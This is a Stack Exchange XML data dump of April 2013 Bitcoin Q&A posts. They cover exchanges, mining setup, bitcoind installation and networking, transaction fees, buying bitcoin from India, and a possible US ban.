  <row Id="9334" PostTypeId="1" CreationDate="2013-04-08T11:56:48.813" Score="-1" ViewCount="431" Body="&lt;p&gt;I wonder if they use a relational database like MySQL or do they opt for a NoSQL like CouchDB or MongoDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoinica source code reveals that they used a MySQL database. &lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-04-08T14:21:06.410" Title="What database technology do Bitcoin exchanges use?" Tags="|exchanges|mtgox|database|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-08T18:00:17.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="9335" PostTypeId="2" ParentId="9334" CreationDate="2013-04-08T12:43:10.793" Score="2" Body="&lt;p&gt;There are multiple Bitcoin Exchanges out there, most likely they are using different DB Systems.&lt;br&gt;&#xA;To be sure you should contact the particular representatives of the Exchanges.&lt;/p&gt;&#xA;" OwnerUserId="4023" LastActivityDate="2013-04-08T12:43:10.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9336" PostTypeId="1" AcceptedAnswerId="9384" CreationDate="2013-04-08T12:48:59.163" Score="-1" ViewCount="335" Body="&lt;p&gt;Can anyone explain the vulnerability of PPCoin and possibly other Proof of Stake coins that might allow an attacker to double spend? I've seen one explanation here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=169204.msg1761154#msg1761154&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=169204.msg1761154#msg1761154&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it wasn't clear. &lt;/p&gt;&#xA;" OwnerUserId="2349" LastActivityDate="2013-04-09T05:59:14.647" Title="Can anyone explain this vulnerability in PPC" Tags="|peercoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9338" PostTypeId="2" ParentId="8909" CreationDate="2013-04-08T15:31:06.803" Score="3" Body="&lt;p&gt;The latest version of Abe supports getdifficulty, so you could run it yourself or convince the explorer administrator to upgrade.  But this will be the difficulty as of the last solved block.  I would expect &quot;litecoind getinfo&quot; to give a more accurate number during difficulty adjustments, and this does not require Abe or a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the block reward, Abe lacks bcperblock.  Perhaps the easiest route is to get the &lt;a href=&quot;http://explorer.litecoin.net/chain/Litecoin/q/getblockcount&quot; rel=&quot;nofollow&quot;&gt;current block number&lt;/a&gt; (also available via getinfo) and calculate the reward.  According to litecoin.org, the reward starts at 50 LTC and is halved every 840,000 blocks.  In Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def reward(blocknumber):&#xA;    return 50.0 / (2 ** int((blocknumber + 1) / 840000))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding 1 to the block number gives you the &lt;em&gt;next&lt;/em&gt; block's reward, which is what matters to miners.&lt;/p&gt;&#xA;" OwnerUserId="4066" LastActivityDate="2013-04-08T15:31:06.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9339" PostTypeId="2" ParentId="8924" CreationDate="2013-04-08T16:28:51.920" Score="1" Body="&lt;p&gt;You &lt;strong&gt;cannot&lt;/strong&gt; tweak phoenix to keep your cards cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using stock software like the AMD Catlyst Center you can adjust you settings the way you like them and save it as a preset. Make sure to save the preset in the start menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will make two pre-sets.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Maximum Speed - &lt;em&gt;Clock speeds set to maximum and fan way up&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Silence! - &lt;em&gt;Clocks at minum and fan set as low as possible&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can then copy the shortcuts to you desktop and double clicking them will apply the pre-sets. Or you can run them using windows scheduler or some remote scripts or triggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just need to find the sweet spots.&#xA;for example: 1 x AIT 6990 with stock cooler and OC Switch on (tested 45 minute intervals)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;max - 880clock, +2% power and 72% fan = 75ish celcius @ 770mh(stable)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;min - 500clock, +0% and 38% fan = 75ish celciu stable temp @ 450mh &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3656" LastEditorUserId="3656" LastEditDate="2013-04-09T08:02:59.467" LastActivityDate="2013-04-09T08:02:59.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9341" PostTypeId="1" CreationDate="2013-04-08T17:20:35.687" Score="1" ViewCount="1337" Body="&lt;p&gt;I have server with BitcoinJS and Bitcoin ExitNode running. I try to fetch wallet balance from client with code from manual on wiki page. I have send money on client generated address, but app says that balance still 0 BTC. Please, see the code: &lt;a href=&quot;http://jsfiddle.net/a6xfP/3/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/a6xfP/3/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4069" LastEditorUserId="105" LastEditDate="2013-05-21T18:07:17.520" LastActivityDate="2013-05-21T18:07:17.520" Title="Getting wallet balance with BitcoinJS + Bitcoin-lib (client lib)" Tags="|client|bitcoinjs|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9343" PostTypeId="1" CreationDate="2013-04-08T17:48:06.020" Score="0" ViewCount="78" Body="&lt;p&gt;When you buy bitcoins with USD or other currency on Bitfloor, it quotes you an &quot;average price&quot; per bitcoin and says the &quot;actual price may vary&quot; once the order is completed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;average price&quot; stated changes periodically, but it always lags the present actual market price on Bitfloor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 1: when I hit the BUY button, what price do I get?  The &quot;average price&quot; or the current market price on Bitfloor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2: how does bitfloor calculate this &quot;average price&quot;?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2013-04-08T21:53:05.763" Title="Bitfloor's &quot;average price&quot; for buys" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9344" PostTypeId="1" AcceptedAnswerId="9359" CreationDate="2013-04-08T18:23:28.857" Score="6" ViewCount="8025" Body="&lt;p&gt;I want to buy a few Bitcoins using my bank account/ credit card from here in India. How do I do that? MtGox has an option to do wire transfer. Is it the only way to do it? If I transfer $1000, how much of it will reach my MtGox account?&lt;/p&gt;&#xA;" OwnerUserId="4073" LastEditorUserId="7282" LastEditDate="2013-10-26T18:05:56.523" LastActivityDate="2013-11-30T17:10:23.077" Title="How do I transfer funds from India to an exchange?" Tags="|mtgox|banks|wire-transfers|funds|india|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9345" PostTypeId="1" CreationDate="2013-04-08T18:26:19.513" Score="1" ViewCount="175" Body="&lt;p&gt;Many bitcoin exchanges allow users to store two balances: one in bitcoin and one in a fiat currency like USD.  This is convenient because it allows one to trade in and out of the bitcoin market without incurring the fees and delays of moving money in and out of the exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been numerous cases of theft from bitcoin exchanges, but have any of them lost users' fiat funds stored in this way?  Or have only bitcoin balances been depleted by thieves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have any of the major exchanges made any statements (please link!) about how secure a user's fiat currency stored by them is?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2013-05-08T21:13:19.717" Title="Bitcoin HEISTS: Has USD, EUR, etc ever been stolen from an exchange?" Tags="|security|exchanges|theft|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9346" PostTypeId="2" ParentId="9333" CreationDate="2013-04-08T18:33:08.883" Score="1" Body="&lt;p&gt;There's a sort of hatred against satoshi dice lately.  The feeling is that satoshi dice clogs up the transaction record with lots of small transactions.  Some of the bigger mining pools have started to refuse the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rescan and your other steps should have fixed everything, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without including the sending address in your question, it's difficult to track the bitcoins.  My only thought is that you can try to re-spend the coins on yourself and maybe they'll return.  The easiest way to do this might be to extract the public and private key of the address that sent the coins and put those in a wallet in blockchain.info .  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, go to the console of your bitcoin client and type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase &amp;lt;your password&amp;gt; 20&#xA;dumpprivkey &amp;lt;the address that sent the coins&amp;gt;&#xA;walletlock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Open a new wallet at blockchain.info and use the Import/Export function to import that private key.  blockchain.info will show your new balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That private key is your coins.  Don't tell it to anyone.  The address, however, isn't a big secret.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-08T18:33:08.883" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9347" PostTypeId="1" CreationDate="2013-04-08T18:33:44.217" Score="1" ViewCount="461" Body="&lt;p&gt;Is it possible that the Bitcoin creator (or developers) have an algorithm that allows computers to generate coins easily, but intentionally published only the current difficult mining algorithms. And, in that way, have left themselves a backdoor way of generating bitcoins once the algorithm became popular?&lt;/p&gt;&#xA;" OwnerUserId="3956" LastEditorUserId="3439" LastEditDate="2013-04-08T20:12:33.137" LastActivityDate="2013-04-08T20:16:29.353" Title="Is it possible that the authors of Bitcoin have an alternative way of generating bitcoins?" Tags="|money-supply|algorithms|fraud|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9349" PostTypeId="2" ParentId="9347" CreationDate="2013-04-08T18:42:58.153" Score="10" Body="&lt;p&gt;Your question is equivalent to asking, &quot;Does SHA256d have a trapdoor?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256d is a well studied algorithm.  It's believed not to have a trapdoor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the creator of bitcoin has a way to break SHA256d, stealing all our bitcoins would be the least of our worries.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-08T18:42:58.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9350" PostTypeId="1" CreationDate="2013-04-08T18:58:26.770" Score="3" ViewCount="776" Body="&lt;p&gt;They can do that because they are the US govt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the likely consequences of the ban?&lt;/p&gt;&#xA;" OwnerUserId="3956" LastEditorUserId="516" LastEditDate="2013-04-08T22:20:37.050" LastActivityDate="2013-04-08T22:20:37.050" Title="What happens if the US govt. bans Bitcoin?" Tags="|legal|government|usa|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9351" PostTypeId="2" ParentId="9350" CreationDate="2013-04-08T19:01:28.873" Score="5" Body="&lt;p&gt;Same as the ban on drugs:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;People would continue to use them, they'll just do it in secret.&lt;/li&gt;&#xA;&lt;li&gt;The value will rise.&lt;/li&gt;&#xA;&lt;li&gt;The government will spend lots of your taxes to try to fight it and fail.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-08T19:01:28.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9352" PostTypeId="2" ParentId="9350" CreationDate="2013-04-08T20:03:26.197" Score="0" Body="&lt;p&gt;Or the similar example with drugs but with another consequences in Saudi&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The price will dramatically go down.&lt;/li&gt;&#xA;&lt;li&gt;Only few people would be able to afford the risk of doing any kind of transactions with them&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can not say that they banned it, because they were illegal all the time. But because the price for breaking the rule is so high (Death) almost no one tries to possess or sell them. Moreover, if anyone would find out that you have them, they would tell about you and this will be the end for you. I can not say that in this case the government is spending a lot of money, their try is very efficient and for sure they are far away from failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone think that this is not the case - try to go there and try to buy some :-). Before this - just send me your bitcoins, I will for sure give them back if you will come back. This was a joke - I am not promoting drug users here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end - all depends on regulations and how will it be enforced.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-04-08T20:03:26.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9353" PostTypeId="2" ParentId="9347" CreationDate="2013-04-08T20:16:29.353" Score="4" Body="&lt;p&gt;Basically, yes. But it doesn't have any dramatic effect and it's almost certainly over by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Bitcoin was first released, it was not generally known that it was possible to mine efficiently using GPUs (video cards). It's possible that the Bitcoin creators and early developers knew this and withheld the information, giving them a tremendous mining advantage if Bitcoins had gone up in value before this was discovered by the general public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can't mine &quot;more&quot; Bitcoins in total this way. Bitcoin's core mechanisms limit the total number of Bitcoins that will ever exist to a bit less than 21 million. But you get a much greater share of the Bitcoins mined than you would otherwise be entitled to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the announcement of Bitcoin and since the value has gone up, the mining algorithms have been very well studied. Any such creator advantage would long have dissipated now. Bitcoin didn't pick an algorithm that's fundamentally new, the difficulty of mining is based on the number of SHA256 hashes you have to do and it's almost inconceivable that there would be any faster way of mining other than figuring out how to do these hashes as quickly as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no secret backdoor. There's simply no place to hide one. But it's possible the developers had a head start on figuring out how to execute the mining algorithm quickly. Again, that's long since dissipated. The mining community in general has now had a massive resource advantage over anything the original creators and early developers could have mustered. They wouldn't have invested millions into the fastest way to mine because that would have been an insane risk before they knew Bitcoin would even catch on or that the mining algorithm would remain the same.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-08T20:16:29.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9354" PostTypeId="2" ParentId="9350" CreationDate="2013-04-08T20:20:49.510" Score="0" Body="&lt;p&gt;The USA is only one country of many. Others will continue to use bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="4077" LastActivityDate="2013-04-08T20:20:49.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9355" PostTypeId="2" ParentId="9345" CreationDate="2013-04-08T20:55:26.813" Score="1" Body="&lt;p&gt;Someone that gains access to an exchange's system has several options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;transfer out BTC&lt;/li&gt;&#xA;&lt;li&gt;transfer out fiat&lt;/li&gt;&#xA;&lt;li&gt;manipulate/corrupt the exchange&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Option 1 is fairly trivial to do nearly anonymously. Governments and lawyers are good at tracking down people that take option 2. Option 3 isn't the most straightforward way to profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would anyone take the risks with #2 instead of just doing #1?&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-04-08T20:55:26.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9356" PostTypeId="1" AcceptedAnswerId="9367" CreationDate="2013-04-08T21:22:48.543" Score="2" ViewCount="168" Body="&lt;p&gt;I just ran the following three commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:bitcoin/bitcoin&#xA;sudo apt-get update&#xA;sudo su bitcoinuser&#xA;sudo apt-get install bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I believe bitcoind has been installed on my Ubuntu 12.10 64Bit ec2 box, but the problem is I can't find it anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does bitcoin download to when installed via the ppa?&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="3145" LastEditDate="2013-04-08T22:37:41.623" LastActivityDate="2013-04-09T19:10:24.730" Title="Where did https://launchpad.net/~bitcoin/+archive/bitcoin just install to?" Tags="|bitcoind|ubuntu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9358" PostTypeId="2" ParentId="9343" CreationDate="2013-04-08T21:53:05.763" Score="2" Body="&lt;p&gt;The average price is calculated by taking into account the current market conditions (i.e. other buyers/sellers) against the amount you wish to buy/sell. Given that the market is always changing, your actual average price may vary. When you finally place a market order, the system will execute against the best available prices at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to have more control over the pricing and order execution, use limit orders. These may not execute immediately (depending on how you price them and their size) but you will be able to control those factors.&lt;/p&gt;&#xA;" OwnerUserId="4083" LastActivityDate="2013-04-08T21:53:05.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9359" PostTypeId="2" ParentId="9344" CreationDate="2013-04-08T22:14:38.270" Score="3" Body="&lt;p&gt;If you can send an International wire transfer (USD) there will be fees charged by your own bank to convert from INR to USD, as well as a wire transfer fee.  Then some fees charged by Mt. Gox exchange to receive the funds I believe, but a relatively small amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The conversion from INR to USD is probably the part that will be the most expensive as banks don't always give competitive rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem isn't unique to India, but those in many other nations have more options.  For instance, in many countries the P2P market &lt;a href=&quot;http://currencyfair.com&quot; rel=&quot;nofollow&quot;&gt;CurrencyFair&lt;/a&gt; can be used to get a good rate converting to some other currency like USDs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since neither CurrencyFair nor Transferwise work in INR funds yet, that will not yet be an option for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an international wire of USDs is probably your best and least expensive method, especially for a little larger amount of $1K USD worth or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also look at &lt;a href=&quot;http://www.ecurrencyzone.net/buy.php&quot; rel=&quot;nofollow&quot;&gt;ECurrencyZone&lt;/a&gt;, which allows Rupees to be deposited into an account at any of the following: ICICI Bank, IDBI Bank, HDFC Bank, AXIS Bank, PNB Bank, State Bank of India, or Bank Of Baroda.  Bitcoins are then delivered for those funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only exchange located within India is &lt;a href=&quot;http://buysellbitco.in&quot; rel=&quot;nofollow&quot;&gt;Buy Sell Bitcoin&lt;/a&gt;.  They support Cheque and NEFT (Net banking) transactions.  See the comments for this answer for more specifics. &lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-08-06T20:56:56.680" LastActivityDate="2013-08-06T20:56:56.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9360" PostTypeId="1" AcceptedAnswerId="9361" CreationDate="2013-04-08T22:17:02.687" Score="1" ViewCount="332" Body="&lt;p&gt;I am running bitcoind on the latest Ubuntu 12.10 Quantal Quetzel on amazon's EC2 network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The security group I have attached to the box only allows port 22 so I can login via ssh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is bitcoind able to operate, then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started up bitcoind and it says it has 8 connections and is actively downloading blocks... but how? When port 22 is the only opened port on my box?&#xA;-confused&lt;/p&gt;&#xA;" OwnerUserId="3145" LastEditorUserId="153" LastEditDate="2013-04-08T22:20:49.720" LastActivityDate="2013-04-08T22:20:49.720" Title="Can the Bitcoin client be used without any incoming ports being opened?" Tags="|security|bitcoind|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9361" PostTypeId="2" ParentId="9360" CreationDate="2013-04-08T22:19:31.290" Score="1" Body="&lt;p&gt;Your firewall allows outgoing connections.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind creates 8 outgoing connections (by default), over port 8333.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-08T22:19:31.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9362" PostTypeId="1" CreationDate="2013-04-08T22:36:15.913" Score="2" ViewCount="596" Body="&lt;p&gt;When you sign up at MtGox, they say: please fill out the following to avoid your account getting locked.  They're referring to the member verification process (using govt ID and utility bill).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But under what circumstances will they lock my account if I cannot provide verification docs at the moment?  And what does &quot;locked&quot; prevent me from doing?  Does it prevent me from, for example, transferring BTC to another exchange or wallet?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastEditorUserId="3896" LastEditDate="2013-04-08T22:43:00.867" LastActivityDate="2014-04-28T00:20:52.937" Title="When does MtGox lock accounts?" Tags="|mtgox|" AnswerCount="2" CommentCount="1" ClosedDate="2014-04-28T22:28:52.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="9364" PostTypeId="1" CreationDate="2013-04-08T23:16:05.127" Score="4" ViewCount="4416" Body="&lt;p&gt;I'm experimenting with LTC p2pool mining. However, it generates lots of micropayments (0.02 LTC). Such small payments generate big transaction fees (in latest litecoin-qt from github). Example: 0.6 LTC transaction fee for sending 0.3 LTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I avoid such big transaction fees?&lt;/p&gt;&#xA;" OwnerUserId="4087" LastActivityDate="2013-05-26T06:32:10.807" Title="LTC transaction fees and p2pool" Tags="|transaction-fees|litecoin|p2pool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9365" PostTypeId="1" CreationDate="2013-04-09T00:00:14.140" Score="4" ViewCount="1581" Body="&lt;p&gt;I know there are websites providing blockchain information, but I want to write some script to explore the blockchain on my own. How do I do it? Are there any document available online? &lt;/p&gt;&#xA;" OwnerUserId="3775" LastActivityDate="2013-04-09T03:16:13.800" Title="How to parse the blockchain?" Tags="|blockchain|" AnswerCount="1" CommentCount="4" ClosedDate="2013-04-20T11:36:00.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="9366" PostTypeId="1" CreationDate="2013-04-09T00:07:29.190" Score="3" ViewCount="10967" Body="&lt;p&gt;I have done the whole synchronization and now it should be mining bitcoins from what I understand but I don't see anything showing that it is actually mining for bitcoins nor any activity from my cpu… Is this normal ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to enter a command to start the mining process or is the process done automatically without having to do anything ?&lt;/p&gt;&#xA;" OwnerUserId="4092" LastEditorUserId="5406" LastEditDate="2016-03-16T10:48:07.027" LastActivityDate="2023-07-04T22:13:57.277" Title="How to activate the mining process in the standard bitcoin client?" Tags="|bitcoin-core|miner-configuration|cpu-mining|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="9367" PostTypeId="2" ParentId="9356" CreationDate="2013-04-09T00:25:56.967" Score="2" Body="&lt;p&gt;Just as all applications you install using Aptitude (&lt;code&gt;apt-get&lt;/code&gt;), it is installed somewhere in a &lt;code&gt;/usr&lt;/code&gt; subdirectory. However, where exactly doesn't matter because you can run those programs just by typing them in the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you can launch them by typing in your Terminal either &lt;code&gt;bitcoind&lt;/code&gt; for the server daemon or &lt;code&gt;bitcoin-qt&lt;/code&gt; for the GUI Wallet. Also, most desktop manager automatically place a shortcut for all apps in their app menu; for Ubuntu Unity, you can just type &quot;bitcoin&quot; in your Dash to find Bitcoin-Qt GUI wallet app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as most apps, it makes a folder in your home directory to save the data it uses. Both &lt;code&gt;bitcoind&lt;/code&gt; and &lt;code&gt;bitcoin-qt&lt;/code&gt; save all the block chain data in a &lt;code&gt;~/.bitcoin/&lt;/code&gt; folder. You wallet is thus saved in &lt;code&gt;~/.bitcoin/wallet.dat&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-09T19:10:24.730" LastActivityDate="2013-04-09T19:10:24.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9368" PostTypeId="2" ParentId="7369" CreationDate="2013-04-09T00:40:32.833" Score="0" Body="&lt;p&gt;You could easily write a piece of software that runs on the same machine as a bitcoin daemon and let it use the JSON-RPC API from the local bitcoin daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are JSON-RPC &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;implementation examples&lt;/a&gt; for all popular programming languages like Python and Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This piece of software will poll for new transactions, validate them and applying your game rules, and again making new transactions.&#xA;Note that a server with such a piece of software needs only to have it's bitcoin port open to the internet, while the RPC port can be limited to local connections for safety.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-09T00:40:32.833" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9369" PostTypeId="2" ParentId="5650" CreationDate="2013-04-09T00:44:19.427" Score="4" Body="&lt;p&gt;You can write your own bot in any modern programming language using the &lt;a href=&quot;https://btc-e.com/api/documentation&quot; rel=&quot;nofollow&quot;&gt;BTC-e API&lt;/a&gt;. Also &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API&quot; rel=&quot;nofollow&quot;&gt;MtGox&lt;/a&gt;, &lt;a href=&quot;https://www.bitstamp.net/api/&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt;, &lt;a href=&quot;https://bitcoin-24.com/user_api&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-24&lt;/a&gt; and probably more popular exchanges support this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These API's mostly give you the possibility to track the price, the market depth and place orders, making easy for you to implement your own trading bot.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-09T00:44:19.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9370" PostTypeId="1" AcceptedAnswerId="9371" CreationDate="2013-04-09T00:47:25.947" Score="1" ViewCount="218" Body="&lt;p&gt;Few days ago I have read &lt;a href=&quot;https://bitcointalk.org/index.php?topic=151387.msg1606559&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For people who are too busy I will try to explain what is written there (this is my understanding which might be wrong, so if you think that it is incorrect, please edit it):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of a lot of micro-payments from satochidice, the blockchain has reached a reasonable size and pools are thinking about implementing transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that at some time major mining pools would decide that they are not going to validate transactions if fee is less than something and thus would be dictating their rules?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="132" LastEditDate="2013-04-09T22:19:40.877" LastActivityDate="2013-04-09T22:19:40.877" Title="What are the reasons behind pool transactions fees and what are the consequences?" Tags="|mining-pools|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9371" PostTypeId="2" ParentId="9370" CreationDate="2013-04-09T00:53:28.273" Score="2" Body="&lt;p&gt;Transaction fees have been a part of the Bitcoin protocol from the beginning. They are a core part of the protocol and are designed to be the long term incentive for miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, Yes, miners will often exclude transactions without fees (or give them a lower priority). It's been that way for a long time although it does seem to be getting more common in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi dice has indeed had an effect on the network, but transaction fees have been a part of the protocol from the beginning. The consequences of fees are many, too many to discuss here, but include the motivation for mining (especially as block rewards decrease) and protecting the network from spam and attacks.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-09T00:53:28.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9372" PostTypeId="1" AcceptedAnswerId="62445" CreationDate="2013-04-09T01:44:10.273" Score="2" ViewCount="18965" Body="&lt;p&gt;I am giving this a try to see if I can do bitcoin mining. I took a Windows laptop and installed GUIMiner on it. I then connected to bitminter pool on &lt;a href=&quot;http://mint.bitminter.com:8332&quot; rel=&quot;nofollow&quot;&gt;http://mint.bitminter.com:8332&lt;/a&gt; using my ID. When I click to start Mining, I get this message &quot;ValueError: need more than 1 value to unpack&quot;. The summary then says &quot;connection problems&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="5406" LastEditDate="2016-04-24T12:36:47.690" LastActivityDate="2017-11-11T11:57:39.443" Title="ValueError: need more than 1 value to unpack" Tags="|mining-pools|miner-configuration|guiminer|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
